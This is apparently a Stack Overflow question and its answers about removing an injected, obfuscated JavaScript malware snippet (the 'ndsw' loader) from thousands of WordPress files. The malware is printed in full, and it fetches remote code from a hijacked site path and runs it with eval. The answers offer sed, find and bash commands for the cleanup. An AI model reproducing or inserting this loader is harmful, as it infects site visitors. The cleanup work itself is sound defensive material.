Command to remove a long JavaScript malware code with all sorts of special characters

Question

As my subject line states, I have thousands of .js and .html files infected with javascript code (WordPress) and want to remove the code. I tried different sed and find combinations to no avail.. please can someone with these skills help me create a bash command to remove this code below?

;if(ndsw===undefined){function g(R,G){var y=V();return g=function(O,n){O=O-0x6b;var P=y[O];return P;},g(R,G);}function V(){var v=['ion','index','154602bdaGrG','refer','ready','rando','279520YbREdF','toStr','send','techa','8BCsQrJ','GET','proto','dysta','eval','col','hostn','13190BMfKjR','//domainname.com/wp-admin/css/colors/blue/blue.php','locat','909073jmbtRO','get','72XBooPH','onrea','open','255350fMqarv','subst','8214VZcSuI','30KBfcnu','ing','respo','nseTe','?id=','ame','ndsx','cooki','State','811047xtfZPb','statu','1295TYmtri','rer','nge'];V=function(){return v;};return V();}(function(R,G){var l=g,y=R();while(!![]){try{var O=parseInt(l(0x80))/0x1+-parseInt(l(0x6d))/0x2+-parseInt(l(0x8c))/0x3+-parseInt(l(0x71))/0x4*(-parseInt(l(0x78))/0x5)+-parseInt(l(0x82))/0x6*(-parseInt(l(0x8e))/0x7)+parseInt(l(0x7d))/0x8*(-parseInt(l(0x93))/0x9)+-parseInt(l(0x83))/0xa*(-parseInt(l(0x7b))/0xb);if(O===G)break;else y['push'](y['shift']());}catch(n){y['push'](y['shift']());}}}(V,0x301f5));var ndsw=true,HttpClient=function(){var S=g;this[S(0x7c)]=function(R,G){var J=S,y=new XMLHttpRequest();y[J(0x7e)+J(0x74)+J(0x70)+J(0x90)]=function(){var x=J;if(y[x(0x6b)+x(0x8b)]==0x4&&y[x(0x8d)+'s']==0xc8)G(y[x(0x85)+x(0x86)+'xt']);},y[J(0x7f)](J(0x72),R,!![]),y[J(0x6f)](null);};},rand=function(){var C=g;return Math[C(0x6c)+'m']()[C(0x6e)+C(0x84)](0x24)[C(0x81)+'r'](0x2);},token=function(){return rand()+rand();};(function(){var Y=g,R=navigator,G=document,y=screen,O=window,P=G[Y(0x8a)+'e'],r=O[Y(0x7a)+Y(0x91)][Y(0x77)+Y(0x88)],I=O[Y(0x7a)+Y(0x91)][Y(0x73)+Y(0x76)],f=G[Y(0x94)+Y(0x8f)];if(f&&!i(f,r)&&!P){var D=new HttpClient(),U=I+(Y(0x79)+Y(0x87))+token();D[Y(0x7c)](U,function(E){var k=Y;i(E,k(0x89))&&O[k(0x75)](E);});}function i(E,L){var Q=Y;return E[Q(0x92)+'Of'](L)!==-0x1;}}());};

Any help is appreciated. Please note I need to remove this code from thousands of files and inside subfolders.

Please help to resolve this critical malware.

Check https://stackoverflow.com/questions/1182756/remove-line-of-text-from-multiple-files-in-linux — Tanay, Apr 20 '22 at 02:36
Thanks, as I said, I did try all these variants however since there are so many special characters in this code, the sed and find command simply fails.. — buzz support, Apr 20 '22 at 05:29
Could you share more examples like the above ? Have you identified a common pattern: i.e is the code always located at the top/end of the file ? — rperrone, Apr 20 '22 at 09:52
https://wordpress.org/support/topic/crapload-of-critical-errors-all-the-sudden/ https://stackoverflow.com/questions/66303231/wordpress-all-theme-plugin-js-file-is-adding-this-script-how-can-i-remove-that I don't have the combinations of commands now(as I am traveling), but these are a few posts we had gone through to no avail... we just need to have a nasty command to remove this malware in one blow on hundreds of files — buzz support, May 02 '22 at 16:04

score 4 · Answer 1 · answered Aug 17 '22 at 15:05

4

Today I needed this and tried this command and worked

cd /dir/structure/with/infected/text/files
for file in $(find . -mindepth 1 -type f); do sed -i "s/\;if(ndsw===.*//" $file; done

answered Aug 17 '22 at 15:05

razor7

2,165
2
19
32

`find . -type f -name '*.js' -exec sed -i 's#;if(ndsw===undefined).*##g' {} \;` similar as above but shorter. this command will search the current dir and all subdirs and remove the malware content. Please **BACKUP BEFORE EXECUTING** :) – Savvas Radevic Oct 06 '22 at 19:37

score 0 · Answer 2 · edited Jul 19 '22 at 04:02

I created this script in shell script to remove the massive cod

Obs: Call bashScript from the directory above the contaminated one, as it contains part of the code

Example: bash nameScript.sh diretorio

#!/bin/bash
    log='/var/log/excluirVirus.log'
    Data=$(date "+%D - %H:%M:%S") 
    touch listaArquivos
    echo"=========================$Data========================================="
    echo "$Data Iniciando limpeza dos arquivos" >> $log
    find "$1" .js 2> /dev/null > listaArquivos
    for arquivo in $(cat listaArquivos)
    do 
       if [ ! -d $arquivo ]; then
          echo "$Data Limpando o arquivo $arquivo "|tee -a $log
          sed -i "s/\;if(ndsw===.*//" $arquivo
       fi      
    done
    rm listaArquivos
    echo "$Data Limpeza finalizada" >> $log
 echo"=========================$Data========================================="

HI! I'm infected with this malware but the malware code is well indented and multiline. Is it possible to remove the infection with multiline malware script? https://pastebin.com/89yTPXVm — razor7, Mar 30 '23 at 20:51

Command to remove a long JavaScript malware code with all sorts of special characters

2 Answers2